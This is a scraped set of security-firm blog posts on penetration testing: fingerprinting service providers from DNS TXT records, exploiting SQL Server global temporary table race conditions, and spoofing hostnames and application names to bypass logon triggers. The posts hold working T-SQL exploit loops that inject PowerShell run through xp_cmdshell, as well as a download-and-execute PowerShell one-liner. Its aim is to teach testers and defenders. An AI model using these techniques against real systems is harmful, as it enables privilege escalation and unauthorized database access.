# Run Resolve-DnsDomainValidationToken to collect and fingerprint TXT records
$Results = Resolve-DnsDomainValidationToken -Verbose -Domain adroll.com  

# View records in the console
$Results
Domain Validation Token Fingerprint For those of you that don't like starring at the console, the results can also be viewed using Out-GridView.
# View record in the out-grid view
$Results | Out-GridView
Domain Validation Token Fingerprint Gridview Finally, the command also automatically creates two csv files that contain the results:
  1. Dns_Txt_Records.csv contains all TXT records found.
  2. Dns_Txt_Records_Domain_Validation_Tokens.csv contains those TXT records that could fingerprinted.
Domain Validation Token Fingerprint Csv

How can Domain Validation Tokens be used for Evil?

Below are a few examples of how we've used domain validation tokens during penetration tests.  I’ve also added a few options only available to real-world attackers due to legal constraints placed on penetration testers and red teams.

Penetration Testers Use Cases

  1. Services that Support Federated Authentication without MFA This is our most common use case. By reviewing domain validation tokens we have been able to identify service providers that support federated authentication associated with the company’s Active Directory deployment.  In many cases they aren’t configured with multi-factor authentication (MFA).  Common examples include Office 365, AWS, G Suite, and Github. Pro Tip: Once you’ve authenticated to Azure, you can quickly find additional service provider targets that support federated/managed authentication by parsing through the service principal names.  You can do that with Karl’s Get-AzureDomainInfo.ps1 script.
  2. Subdomain Hijacking Targets The domain validation tokens could reveal services that support subdomain which can be attacked once the CNAME records go stale. For information on common techniques Patrik Hudak wrote a nice overview here.
  3. Social Engineering Fuel Better understanding the technologies and service providers used by an organization can be useful when constructing phone and email phishing campaigns.
  4. General Measurement of Maturity When reviewing domain validation tokens for all of the domains owned by an organization it’s possible to get a general understanding of their level of maturity, and you can start to answer some basic questions like:
    1. Do they use Content Distribution Networks (CDNs) to distribute and protect their website content?
    2. Do they user 3rd party marketing and analytics? If so who? How are they configured?
    3. Do they use security related service providers? What coverage do those provide?
    4. Who are they using to issue their SSL/TLS certifications? How are they used?
    5. What mail protection services are they using? What are those default configurations?
  5. Analyzing domain validation tokens for a specific online service provider can yield additional insights. For example,
    1. Many domain validation tokens are unique numeric values that are simply incremented for each new customer.  By analyzing the values over thousands of domains you can start to infer things like how long a specific client has been using the service provider.
    2. Some of the validation tokens also include hashes and encrypted base64 values that could potentially be cracked offline to reveal information.
  6. Real-world attackers can also attempt to compromise service providers directly and then move laterally into a specific company’s site/data store/etc. Shared hosting providers are a common example. Penetration testers and red teams don’t get to take advantage of those types of scenarios, but if you’re a service provider you should be diligent about enforcing client isolation to help avoid opening those vectors up to attackers.

Wrap Up

Analyzing domain validation tokens found in DNS TXT records is far from a new concept, but I hope the library of fingerprints baked into Resolve-DnsDomainValidationToken will help save some time during your next red team, pentest,  or internal audit.  Good luck and hack responsibly! [post_title] => Analyzing DNS TXT Records to Fingerprint Online Service Providers [post_excerpt] => In this blog I'll share a process/script that can be used to identify online service providers used by a target company through domain validation tokens stored in DNS TXT records. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => analyzing-dns-txt-records-to-fingerprint-service-providers [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:58:16 [post_modified_gmt] => 2021-06-08 21:58:16 [post_content_filtered] => [post_parent] => 0 [guid] => https://blog.netspi.com/?p=11219 [menu_order] => 173 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [13] => WP_Post Object ( [ID] => 11191 [post_author] => 17 [post_date] => 2019-11-11 07:00:58 [post_date_gmt] => 2019-11-11 07:00:58 [post_content] => SQL Server global temporary tables usually aren’t an area of focus during network and application penetration tests.  However, they are periodically used insecurely by developers to store sensitive data and code blocks that can be accessed by unprivileged users.  In this blog, I'll walk through how global temporary tables work, and share some techniques that we’ve used to identify and exploit them in real applications. If you don't want to read through everything you can jump ahead:

Lab Setup

  1. Install SQL Server. Most of the scenarios we’ll cover can be executed with SQL Server Express, but if you want to follow along with the case study you will need to use one of the commercial versions that supports agent jobs.
  2. Log into the SQL Server as a sysadmin.
  3. Create a least privilege login.
-- Create server login
CREATE LOGIN [basicuser] WITH PASSWORD = 'Password123!';
Img Create Login

What are Global Temporary Tables?

The are many ways to store data temporarily in SQL Server, but temporary tables seem to be one of the most popular methods. Based on what I’ve seen, there are three types of temporary tables commonly used by developers that include table variables, local temporary tables, and global temporary tables. Each has its pros, cons, and specialized use cases, but global temporary tables tend to create the most risk, because they can be read and modified by any SQL Server user.  As a result, using global temporary tables often results in race conditions that can be exploited by least privilege users to gain unauthorized access to data and privileges.

How do Temporary Tables Work?

In this section I’ve provided a primer that covers how to create the three types of temporary tables, where they’re stored, and who can access them. To get us started let’s sign into SQL Server using our sysadmin login and review each of the three types of temp tables. All of the temporary tables are stored in the tempdb database and can be listed using the query below.
SELECT *
FROM tempdb.sys.objects
WHERE name like '#%';
All users in SQL Server can execute the query above, but the access users have to the tables displayed depends largely on  the table type and scope. Below is a summary of the scope for each type of temporary table. Img Types Of Temp Tables With that foundation in place, let’s walk through some TSQL exercises to help better understand each of those scope boundaries.

Exercise 1: Table Variables

Table variables are limited to a single query batch within the current user’s active session.  They’re not accessible to other query batches, or to other active user sessions. As a result, it’s not very likely that data would be leaked to unprivileged users. Below is an example of referencing a table variable in the same batch.
-- Create table variable
If not Exists (SELECT name FROM tempdb.sys.objects WHERE name = 'table_variable')
DECLARE @table_variable TABLE (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL);

-- Insert records into table variable
INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (1,'Black Widow','Scarlett Johansson')
INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (2,'Ethan Hunt','Tom Cruise')
INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (3,'Evelyn Salt','Angelina Jolie')
INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (4,'James Bond','Sean Connery')

-- Query table variable in same batch 
SELECT * 
FROM @table_variable
GO
Img Table Variable Same Batch We can see from the image above that we are able to query the table variable within the same batch query.  However, when we separate the table creation and table data selection into two batches using “GO”, we can see that the table variable is no longer accessible outside of its original batch job.  Below is an example. Img Table Variable Diff Batch Hopefully that helps illustrate the scope limitations of table variables, but you might still be wondering how they’re stored.  When you create a table variable it’s stored in tempdb using a name starting with a “#” and randomly generated characters.  The query below can be used to filter for table variables being used.
SELECT * 
FROM tempdb.sys.objects  
WHERE name not like '%[_]%' 
AND (select len(name) - len(replace(name,'#',''))) = 1

Exercise 2: Local Temporary Tables

Like table variables, local temporary tables are limited to the current user’s active session, but they are not limited to a single batch. For that reason, they offer more flexibility than table variables, but still don’t increase the risk of unintended data exposure, because other active user sessions can’t access them.  Below is a basic example showing how to create and access local temporary tables across different query batches within the same session.
-- Create local temporary table
IF (OBJECT_ID('tempdb..#LocalTempTbl') IS NULL)
CREATE TABLE #LocalTempTbl (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL);

-- Insert records local temporary table
INSERT INTO #LocalTempTbl (Spy_id, SpyName, RealName) VALUES (1,'Black Widow','Scarlett Johansson')
INSERT INTO #LocalTempTbl (Spy_id, SpyName, RealName) VALUES (2,'Ethan Hunt','Tom Cruise')
INSERT INTO #LocalTempTbl (Spy_id, SpyName, RealName) VALUES (3,'Evelyn Salt','Angelina Jolie')
INSERT INTO #LocalTempTbl (Spy_id, SpyName, RealName) VALUES (4,'James Bond','Sean Connery')
GO

-- Query local temporary table
SELECT * 
FROM #LocalTempTbl
GO
Img Local Temp Table As you can see from the image above, the table data can still be accessed across multiple query batches.  Similar to table variables, all custom local temporary tables need to start with a “#”.  Other than you can name them whatever you want.  They are also stored in the tempdb database, but SQL Server will append some additional information to the end of your table name so access can be constrained to your session.  Let’s see what our new table “#LocalTempTbl” looks like in tempdb with the query below.
SELECT * 
FROM tempdb.sys.objects 
WHERE name like '%[_]%' 
AND (select len(name) - len(replace(name,'#',''))) = 1
</code
Img Local Temp Table Above we can see the table we created named “#LocalTempTbl”, had some of the additional session information appended to it.  All users can see the that temp table name, but only the session that created it can access its contents.  It appears that the session id appended to the end increments with each session made to the server, and you can actually use the full name to query that table from with your session.  Below is an example.
SELECT * 
FROM tempdb..[ #LocalTempTbl_______________________________________________________________________________________________________000000000007]
</code
Img Local Temp Table However, if you attempt to access that temp table from another user’s session you get the follow error. Img Local Temp Table Regardless, when you’re all done with the local temporary table it can be removed by terminating your session or explicitly dropping it using the example command below.
DROP TABLE #LocalTempTbl

Exercise 3: Global Temporary Tables

Ready to level up? Similar to local temporary tables you can create and access global temporary tables from separate batched queries. The big difference is that ALL active user sessions can view and modify global temporary tables.  Let’s take a look at a basic example below.
-- Create global temporary table
IF (OBJECT_ID('tempdb..##GlobalTempTbl') IS NULL)
CREATE TABLE ##GlobalTempTbl (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL);

-- Insert records global temporary table
INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (1,'Black Widow','Scarlett Johansson')
INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (2,'Ethan Hunt','Tom Cruise')
INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (3,'Evelyn Salt','Angelina Jolie')
INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (4,'James Bond','Sean Connery')
GO

-- Query global temporary table
SELECT * 
FROM ##GlobalTempTbl
GO
Img Global Temp Table Above we can see that we are able to query the global temporary table across different query batches. All custom global temporary tables need to start with “##”.  Other than you can name them whatever you want.  They are also stored in the tempdb database.  Let’s see what our new table “##GlobalTempTbl” looks like in tempdb with the query below.
SELECT * 
FROM tempdb.sys.objects 
WHERE (select len(name) - len(replace(name,'#',''))) > 1
</code
Img Global Temp Table You can see that SQL Server doesn’t append any session related data to the table name like it does with local temporary tables, because it’s intended to be used by all sessions. Let’s sign into another session using the “basicuser” login we created to show that’s possible. Img Global Temp Table As you can see, if that global temporary table contains sensitive data it’s now exposed to all of the SQL Server users.

How do I Find Vulnerable Global Temporary Tables?

It’s easy to target Global Temp Tables when you know the table name, but most auditors and attackers won’t know where the bodies are buried.  So, in this section I’ll cover a few ways you can blindly locate potentially exploitable global temporary tables.
  • Review Source Code if you’re a privileged user.
  • Monitor Global Temporary Tables if you’re an unprivileged user.

Review Source Code

If you’re logged into SQL Server as a sysadmin or a user with other privileged roles, you can directly query the TSQL source code of agent jobs, store procedures, functions, and triggers for each database. You should be able to filter the query results for the string “##” to identify the use of global temporary table usage in the TSQL. With the filtered list in hand, you should be able to review the relevant TSQL source code and determine under which conditions the global temporary tables are vulnerable to attack. Below are some links to TSQL query templates to get you started: It’s worth noting that PowerUpSQL also supports functions that can be used to query for that information. Those functions include:
  • Get-SQLAgentJob Get-SQLStoredProcedure
  • Get-SQLTriggerDdl
  • Get-SQLTriggerDml
It would be nice if we could always just view the source code, but the reality is that most attackers won’t have sysadmin privileges out of the gate.  So, when you find you self in that position it’s time to change your approach.

Monitor Global Temporary Tables

Now let’s talk about blindly identifying global temporary tables from a least privilege perspective.  In the previous sections, we showed how to list temporary table names and query their contents. However, we didn’t have easy insight into the columns.  So below I’ve extended the original query to include that information.
-- List global temp tables, columns, and column types
SELECT t1.name as 'Table_Name',
       t2.name as 'Column_Name',
       t3.name as 'Column_Type',
       t1.create_date,
       t1.modify_date,
       t1.parent_object_id       
FROM tempdb.sys.objects AS t1
JOIN tempdb.sys.columns AS t2 ON t1.OBJECT_ID = t2.OBJECT_ID
JOIN sys.types AS t3 ON t2.system_type_id = t3.system_type_id
WHERE (select len(t1.name) - len(replace(t1.name,'#',''))) > 1
If you didn’t DROP “##GlobalTempTbl”, then you should see something similar to the results below when you execute the query. Img Global Temp Table Running the query above provides insight into the global temporary tables being used at that moment, but it doesn’t help us monitor for their use over time.  Remember, temporary tables are commonly only used for a short period of time, so you don’t want to miss them. The query below is a variation of the first query, but will provide a list of global temporary tables every second.  The delay can be changed by modifying the “WAITFOR” statement, but be careful not to overwhelm the server.  If you’re not sure what you’re doing, then this technique should only be practiced in non-production environments.
-- Loop
While 1=1
BEGIN
    SELECT t1.name as 'Table_Name',
           t2.name as 'Column_Name',
           t3.name as 'Column_Type',
           t1.create_date,
           t1.modify_date,
           t1.parent_object_id       
    FROM tempdb.sys.objects AS t1
    JOIN tempdb.sys.columns AS t2 ON t1.OBJECT_ID = t2.OBJECT_ID
    JOIN sys.types AS t3 ON t2.system_type_id = t3.system_type_id
    WHERE (select len(t1.name) - len(replace(t1.name,'#',''))) > 1

    -- Set delay
    WaitFor Delay '00:00:01'
END
Img Global Temp Table As you can see, the query will provide a list of table names and columns that we can use in future attacks, but we may also want to monitor the contents of the global temporary tables to understand what our options are. Below is an example, but remember to use “WAITFOR” to throttle your monitoring when possible.
-- Monitor contents of all Global Temp Tables 
-- Loop
WHILE 1=1
BEGIN
    -- Add delay if required
    WAITFOR DELAY '0:0:1'
    
    -- Setup variables
    DECLARE @mytempname varchar(max)
    DECLARE @psmyscript varchar(max)

    -- Iterate through all global temp tables 
    DECLARE MY_CURSOR CURSOR 
        FOR SELECT name FROM tempdb.sys.tables WHERE name LIKE '##%'
    OPEN MY_CURSOR
    FETCH NEXT FROM MY_CURSOR INTO @mytempname 
    WHILE @@FETCH_STATUS = 0
    BEGIN 

        -- Print table name
        PRINT @mytempname 

        -- Select table contents
        DECLARE @myname varchar(max)
        SET @myname = 'SELECT * FROM [' + @mytempname + ']'
        EXEC(@myname)

        -- Next record
        FETCH NEXT FROM MY_CURSOR INTO @mytempname 
    END
    CLOSE MY_CURSOR
    DEALLOCATE MY_CURSOR
END
Img Global Temp Table As you can see, the query above will monitor for global temp tables and display their contents.  That technique is a great way to blindly dump potentially sensitive information from global temporary tables, even if they only exist for a moment.  However, sometimes you may want to modify the contents of the global temp tables too.  We already know the table and column names. So, it’s pretty straight forward to monitor for global temp tables being created and update their contents.  Below is an example.
-- Loop forever
WHILE 1=1 
BEGIN    
    -- Select table contents
    SELECT * FROM ##GlobalTempTbl

    -- Update global temp table contents
    DECLARE @mycommand varchar(max)
    SET @mycommand = 'UPDATE t1 SET t1.SpyName = ''Inspector Gadget'' FROM ##GlobalTempTbl  t1'        
    EXEC(@mycommand)    
END
Img Global Temp Table As you can see, the table was updated. However, you might still be wondering, “Why would I want to change the contents of the temp table?”.  To help illustrate the value of the technique I’ve put together a short case study in the next section.

Case Study: Attacking a Vulnerable Agent Job

Now for some real fun.  Below we’ll walk through the vulnerable agent job’s TSQL code and I’ll highlight where the global temporary tables are being used insecurely.  Then we’ll exploit the flaw using the previously discussed techniques. To get things started, download and run this TSQL script as a sysadmin to configure the vulnerable agent jobs on the SQL Server instance.

Vulnerable Agent Job Walkthrough

The agent will execute the TSQL job every minute and perform the following process:
  1. The job generates an output file path for the PowerShell script that will be executed later.
    -- Set filename for PowerShell script
    Set @PsFileName = ''MyPowerShellScript.ps1''
    
    -- Set target directory for PowerShell script to be written to
    SELECT  @TargetDirectory = REPLACE(CAST((SELECT SERVERPROPERTY(''ErrorLogFileName'')) as VARCHAR(MAX)),''ERRORLOG'','''')
    
    -- Create full output path for creating the PowerShell script 
    SELECT @PsFilePath = @TargetDirectory +  @PsFileName
  2. The job creates a string variable called “@MyPowerShellCode” to store the PowerShell script. The PowerShell code simply creates the file “C:Program FilesMicrosoft SQL ServerMSSQL12.SQLSERVER2014MSSQLLogintendedoutput.txt" and contains the string “hello world”.
    -- Define the PowerShell code
    SET @MyPowerShellCode = ''Write-Output "hello world" | Out-File "'' +  @TargetDirectory + ''intendedoutput.txt"''
    Pro Tip: The SQL Server and agent service accounts always have write access to the log folder of the SQL Server installation. Sometimes it can come in handy during offensive operations. You can find the log folder with the query below:
    SELECT SERVERPROPERTY('InstanceDefaultLogPath')
  3. The “@MyPowerShellCode” variable that contains the PowerShell code is then inserted into a randomly named Global Temporary Table. This is where it all starts to go wrong for the developer, because the second that table is created any user can view and modify it.
    -- Create a global temp table with a unique name using dynamic SQL 
    SELECT  @MyGlobalTempTable =  ''##temp'' + CONVERT(VARCHAR(12), CONVERT(INT, RAND() * 1000000))
    
    -- Create a command to insert the PowerShell code stored in the @MyPowerShellCode variable, into the global temp table
    SELECT  @Command = ''
            CREATE TABLE ['' + @MyGlobalTempTable + ''](MyID int identity(1,1), PsCode varchar(MAX)) 
            INSERT INTO  ['' + @MyGlobalTempTable + ''](PsCode) 
            SELECT @MyPowerShellCode''
    
    -- Execute that command 
    EXECUTE sp_ExecuteSQL @command, N''@MyPowerShellCode varchar(MAX)'', @MyPowerShellCode
  4. Xp_cmdshell is then used to execute bcp on the operating system. Bcp is a backup utility that ships with SQL Server.  In this case, it’s being used to connect to the SQL Server instance as the SQL Server service account, select the PowerShell code from the Global Temporary Table, and write the PowerShell code to the file path defined in step 1.
    -- Execute bcp via xp_cmdshell (as the service account) to save the contents of the temp table to MyPowerShellScript.ps1
    SELECT @Command = ''bcp "SELECT PsCode from ['' + @MyGlobalTempTable + '']'' + ''" queryout "''+ @PsFilePath + ''" -c -T -S '' + @@SERVERNAME-- Write the file
    EXECUTE MASTER..xp_cmdshell @command, NO_OUTPUT
  5. Next, xp_cmdshell is used again to execute the PowerShell script that was just written to disk.
    -- Run the PowerShell script
    DECLARE @runcmdps nvarchar(4000)
    SET @runcmdps = ''Powershell -C "$x = gc ''''''+ @PsFilePath + '''''';iex($X)"''
    EXECUTE MASTER..xp_cmdshell @runcmdps, NO_OUTPUT
  6. Finally, xp_cmdshell is used one last time to remove the PowerShell script.
    -- Delete the PowerShell script
    DECLARE @runcmddel nvarchar(4000)
    SET @runcmddel= ''DEL /Q "'' + @PsFilePath +''"''
    EXECUTE MASTER..xp_cmdshell @runcmddel, NO_OUTPUT

Vulnerable Agent Job Attack

Now that our vulnerable agent job is running in the background, let’s log in using our least privilege user “basicuser” to conduct our attack. Below is a summary of the attack.
  1. First, let’s see if we can discover the global temporary name using our monitoring query from earlier. This monitoring script is throttled. I do not recommend removing the throttle in production, it tends to consume a lot of CPU, and that will set off alarms, because DBAs tend to monitor the performance of their production servers pretty closely. You're much more likely to get a caught causing 80% utilization on the server than you are when executing xp_cmdshell.
    -- Loop
    While 1=1
    BEGIN
        SELECT t1.name as 'Table_Name',
               t2.name as 'Column_Name',
               t3.name as 'Column_Type',
               t1.create_date,
               t1.modify_date,
               t1.parent_object_id       
        FROM tempdb.sys.objects AS t1
        JOIN tempdb.sys.columns AS t2 ON t1.OBJECT_ID = t2.OBJECT_ID
        JOIN sys.types AS t3 ON t2.system_type_id = t3.system_type_id
        WHERE (select len(t1.name) - len(replace(t1.name,'#',''))) > 1
    
        -- Set delay
        WAITFOR DELAY '00:00:01'
    END
    The job takes a minute to run so you may have to wait 59 seconds (or you can manually for the job to execute in the lab), but eventually you should see something similar to the output below. Img Case Study Gtt
  2. In this this example, the table name “##temp800845” looks random, so we try monitoring again and get the table name “##103919”. It has a different name, but it has the same columns.  That’s enough information to get us moving in the right direction. Img Case Study Gtt
  3. Next, we want to take a look at the contents of the global temporary table before it gets removed. However, we don’t know what the table name will be.  To work around that constraint, the query below will display the contents of every global temporary table.
    -- Monitor contents of all Global Temp Tables 
    -- Loop
    While 1=1
    BEGIN
        -- Add delay if required
        WAITFOR DELAY '00:00:01'
        
        -- Setup variables
        DECLARE @mytempname varchar(max)
        DECLARE @psmyscript varchar(max)
    
        -- Iterate through all global temp tables 
        DECLARE MY_CURSOR CURSOR 
            FOR SELECT name FROM tempdb.sys.tables WHERE name LIKE '##%'
        OPEN MY_CURSOR
        FETCH NEXT FROM MY_CURSOR INTO @mytempname 
        WHILE @@FETCH_STATUS = 0
        BEGIN 
    
            -- Print table name
            PRINT @mytempname 
    
            -- Select table contents
            DECLARE @myname varchar(max)
            SET @myname = 'SELECT * FROM [' + @mytempname + ']'
            EXEC(@myname)
    
            -- Next record
            FETCH NEXT FROM MY_CURSOR INTO @mytempname 
        END
        CLOSE MY_CURSOR
        DEALLOCATE MY_CURSOR
    END
    Img Case Study Gtt A From here we can see that the global temporary table is actually housing PowerShell code. From that, we can guess that it’s being executed at some point down the line. So, the next step is to modify the PowerShell code before it gets executed.
  4. Once again, we don’t know what the table name is going to be, but we do know the column names. So can we modify our query from step 3, and UPDATE the contents of the global temporary table rather than simply selecting it's contents. In this case, we’ll be changing the output path defined in the code from “C:Program FilesMicrosoft SQL ServerMSSQL12.SQLSERVER2014MSSQLLogintendedoutput.txt” to “C:Program FilesMicrosoft SQL ServerMSSQL12.SQLSERVER2014MSSQLLogfinishline.txt”.  However, you could replace the code with your favorite PowerShell shellcode runner or whatever arbitrary commands bring sunshine into your day.
    -- Create variables
    DECLARE @PsFileName NVARCHAR(4000)
    DECLARE @TargetDirectory NVARCHAR(4000)
    DECLARE @PsFilePath NVARCHAR(4000)
    
    -- Set filename for PowerShell script
    Set @PsFileName = 'finishline.txt'
    
    -- Set target directory for PowerShell script to be written to
    SELECT  @TargetDirectory = REPLACE(CAST((SELECT SERVERPROPERTY('ErrorLogFileName')) as VARCHAR(MAX)),'ERRORLOG','')
    
    -- Create full output path for creating the PowerShell script 
    SELECT @PsFilePath = @TargetDirectory +  @PsFileName
    
    -- Loop forever 
    WHILE 1=1 
    BEGIN    
        -- Set delay
        WAITFOR DELAY '0:0:1'
    
        -- Setup variables
        DECLARE @mytempname varchar(max)
    
        -- Iterate through all global temp tables 
        DECLARE MY_CURSOR CURSOR 
            FOR SELECT name FROM tempdb.sys.tables WHERE name LIKE '##%'
        OPEN MY_CURSOR
        FETCH NEXT FROM MY_CURSOR INTO @mytempname 
        WHILE @@FETCH_STATUS = 0
        BEGIN         
            -- Print table name
            PRINT @mytempname 
        
            -- Update contents of known column with ps script in an unknown temp table    
            DECLARE @mycommand varchar(max)
            SET @mycommand = 'UPDATE t1 SET t1.PSCode = ''Write-Output "hello world" | Out-File "' + @PsFilePath + '"'' FROM ' + @mytempname + '  t1'
            EXEC(@mycommand)    
    
            -- Select table contents
            DECLARE @mycommand2 varchar(max)
            SET @mycommand2 = 'SELECT * FROM [' + @mytempname + ']'
            EXEC(@mycommand2)
        
            -- Next record
            FETCH NEXT FROM MY_CURSOR INTO @mytempname  
        END
        CLOSE MY_CURSOR
        DEALLOCATE MY_CURSOR
    END
    Img Case Study Gtt As you can see from the screenshot above, we were able to update the temporary table contents with our custom PowerShell code. To confirm that we beat the race condition, verify that the “C:Program FilesMicrosoft SQL ServerMSSQL12.SQLSERVER2014MSSQLLogfinishline.txt” file was created. Note: You're path may be different if you’re using a different version of SQL Server.Img Case Study Gtt
Tada! In summary, we leveraged the insecure use of global temporary tables in a TSQL agent job to escalate privileges from a least privilege SQL Server login to the Windows operating system account running the SQL Server agent service.

What can I do about it?

Below are some basic recommendations based on a little research, but please reach out if you have any thoughts.  I would love to hear how other folks are tackling this one.

Prevention

  1. Don’t run code blocks that have been stored in a global temporary table.
  2. Don’t store sensitive data or code blocks in a global temporary table.
  3. If you need to access data across multiple sessions consider using memory-optimized tables. Based on my lab testing, they can provide similar performance benefits without having to expose data to unprivileged users. For more information check out this article from Microsoft.

Detection

At the moment, I don’t have a great way to monitor for potentially malicious global temporary table access.  However, if an attacker is monitoring global temporary tables too aggressively the CPU should spike and you’ll likely see their activity in the list of expensive queries.  From there, you should be able to track down the offending user using the session_id and a query similar to:
SELECT 
    status,
    session_id,
    login_time,
    last_request_start_time,
    security_id,
    login_name,
    original_login_name
FROM [sys].[dm_exec_sessions]

Wrap Up

In summary, using global temporary tables results in race conditions that can be exploited by least privilege users to read and modify the associated data. Depending on how that data is being used it can have some pretty big security implications.  Hopefully the information is useful to the builders and breakers out there trying to make things better. Either way, have fun and hack responsibility.

References

[post_title] => Exploiting SQL Server Global Temporary Table Race Conditions [post_excerpt] => This blog will walk through how to find and exploit SQL Server global temporary table race conditions to gain unauthorized access to data and execute code. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => exploiting-sql-server-global-temporary-table-race-conditions [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:57:59 [post_modified_gmt] => 2021-06-08 21:57:59 [post_content_filtered] => [post_parent] => 0 [guid] => https://blog.netspi.com/?p=11191 [menu_order] => 174 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [14] => WP_Post Object ( [ID] => 9216 [post_author] => 17 [post_date] => 2018-06-27 07:00:15 [post_date_gmt] => 2018-06-27 07:00:15 [post_content] => It's pretty common for us to perform application penetration testing against two-tier desktop applications that connect directly to SQL Server databases. Occasionally we come across a SQL Server backend that only allows connections from a predefined list of hostnames or applications. Usually those types of restrictions are enforced through logon triggers. In this blog I'll show how to bypass those restrictions by spoofing hostnames and application names using lesser known connection string properties. The examples will include SSMS and PowerUpSQL. This should be useful to application penetration testers and developers who may have inherited a legacy desktop application. This blog has been organized into the sections below, feel free to jump ahead.

What's a Logon Trigger?

A logon trigger is essentially a stored procedure that executes after successfully authenticating to SQL Server, but before the logon session is fully established. They are commonly used to programmatically restrict access to SQL Server based on time of day, hostnames, application names, and number of concurrent sessions by a single user.

Installing SQL Server

If you don't already have SQL Server installed and want to follow along, below are a few resources to get you started.
  1. Download and install SQL Server from here.
  2. Download and install SQL Server Management Studio Express (SSMS) from here.

Creating a Logon Trigger to Restrict Hostnames

Below are instructions for setting up a trigger in your home lab that restricts access based on the connecting workstation name.
  1. Log into your new SQL Server instance as a sysadmin using SSMS.
  2. First, let's take a look at the name of the workstation connecting to the SQL Server instance using the command below. By default, it should use the hostname of the workstation connecting to the SQL Server instance.
    SELECT HOST_NAME()
    Img B A E A
  3. Create a logon trigger that only allows white listed hostnames to connect. Execute the trigger exactly as it is shown below.
    -- Create our logon trigger
    CREATE TRIGGER MyHostsOnly
    ON ALL SERVER
    FOR LOGON
    AS
    BEGIN
        IF
        (
            -- White list of allowed hostnames are defined here.
            HOST_NAME() NOT IN ('ProdBox','QaBox','DevBox','UserBox')
        )
        BEGIN
            RAISERROR('You are not allowed to login from this hostname.', 16, 1);
            ROLLBACK;
        END 
    END
    Img B B E De
  4. After setting up the logon trigger you should get an error like the one below when you attempt to login with SSMS again, because you are connecting from a hostname that is not on the white list.Img B C D Dc

Spoofing Hostnames using SSMS

At this point, you might ask, "when would I (an attacker) actually use this in the real world?". Usually it's after you've recovered connection strings from configuration files or decompiled code, and now we want to use that information to connect directly to the backend SQL Server. This is a very common scenario during application penetration tests, but we also find internal applications and configuration files on open file shares during network pentests and red team engagements. Alright, let's spoof our hostname in SSMS.
  1. Open the "Connect Object Explorer" in SSMS and navigate to options -> "Additional Connection Parameters". From there you can set connection string properties on the fly (super cool). For the sake of this example, we'll set the "Workstation ID" property to "DevBox", which is a hostname we know is white listed. Note: I'll cover a few ways to identify white listed hostnames later.Img B D B Fa
  2. Press connect to login. If you open a query window and check your hostname again it should return "DevBox". This helps further illustrate that we successfully spoofed the hostname.
    SELECT HOST_NAME()
    Img B Da E Fe

Spoofing Hostnames using Connection Strings

Under the hood, SSMS is just building a connection string with our "workstation id" property set. Below is an example of a simple connection string that will connect to a remote SQL Server instance as the current Windows user and select the "Master" database.
Data Source=serverinstance1;Initial Catalog=Master;Integrated Security=True;
If the logon trigger we showed in the last section was implemented, we should see the "failed to connect" message. However, if you set the "Workstation ID" property to an allowed hostname you would be allowed to log in.
Data Source=serverinstance1;Initial Catalog=Master;Integrated Security=True;Workstation ID = DevBox;

Spoofing Hostnames using PowerUpSQL

I've also added the "WorkstationId" option to the Get-SQLQuery function of PowerUpSQL. I will be working toward retrofitting the other functions once I find some more time. For now, below is an example showing how to bypass the logon trigger we created in the previous section.
  1. Open Powershell and load PowerUpSQL via your preferred method. The example below shows how to load it from GitHub directly.
    IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1")
  2. The initial connection fails due to the trigger restrictions. Note that "-ReturnError" flag needs to be set to view the error returned by the server.
    Get-SQLQuery -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Query "SELECT host_name()" -ReturnError
    Img B E Ecbd
  3. Now set the workstationid option to "DevBox" and you should be able to execute the query successfully.
    Get-SQLQuery -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Query "SELECT host_name()" -WorkstationId "DevBox"
    Img B E Fc C
  4. To remove the trigger you can issue the command below.
    Get-SQLQuery -Verbose -Instance MSSQLSRV04SQLSERVER2014 -WorkstationId "DevBox" -Query 'DROP TRIGGER MyHostsOnly on all server'

Creating a Logon Trigger to Restrict Applications

Below are instructions for setting up a trigger in your home lab that restricts access based on the connecting application name.
  1. Log into your new SQL Server instance as a sysadmin using SSMS.
  2. First, let's take a look at the name of the application connecting to the SQL Server instance using the command below. It should return "Microsoft SQL Server Management Studio – Query".
    SELECT APP_NAME()
    Img B A E Abd
  3. Create a logon trigger that only allows white listed applications to connect. Execute the trigger exactly as it is shown below.
    CREATE TRIGGER MyAppsOnly
    ON ALL SERVER
    FOR LOGON
    AS
    BEGIN
         IF
         (
              -- Set the white list of application names here
              APP_NAME() NOT IN ('Application1','Application2','SuperApp3000','LegacyApp','DevApp1')
         )
         BEGIN
              RAISERROR('You are not allowed to login from this application name.', 16, 1);
              ROLLBACK;
         END
    END
    Img B Ed
  4. After setting up the logon trigger you should get an error like the one below when you attempt to login with SSMS again, because you are connecting from an application that is not on the white list.

    Img B Aaebe

Spoofing Application Names using SSMS

Once again, you might ask, "when would I actually use this in the real world?". Some applications have their name statically set in the connection string used to connect to the SQL Server. Similar to hostnames, we find them in configurations files and source code. It's actually pretty rare to see a logon trigger restrict access by application name, but we have seen it a few times. Alright, let's spoof our appname in SSMS.
  1. Open the "Connect Object Explorer" in SSMS and navigate to options -> "Additional Connection Parameters". From there you can set connection string properties on the fly (super cool). For the sake of this example we'll set the "application name" property to "SuperApp3000", which is a application name we know is white listed. Note: I'll cover a few ways to identify white listed application names later.

    Img B A

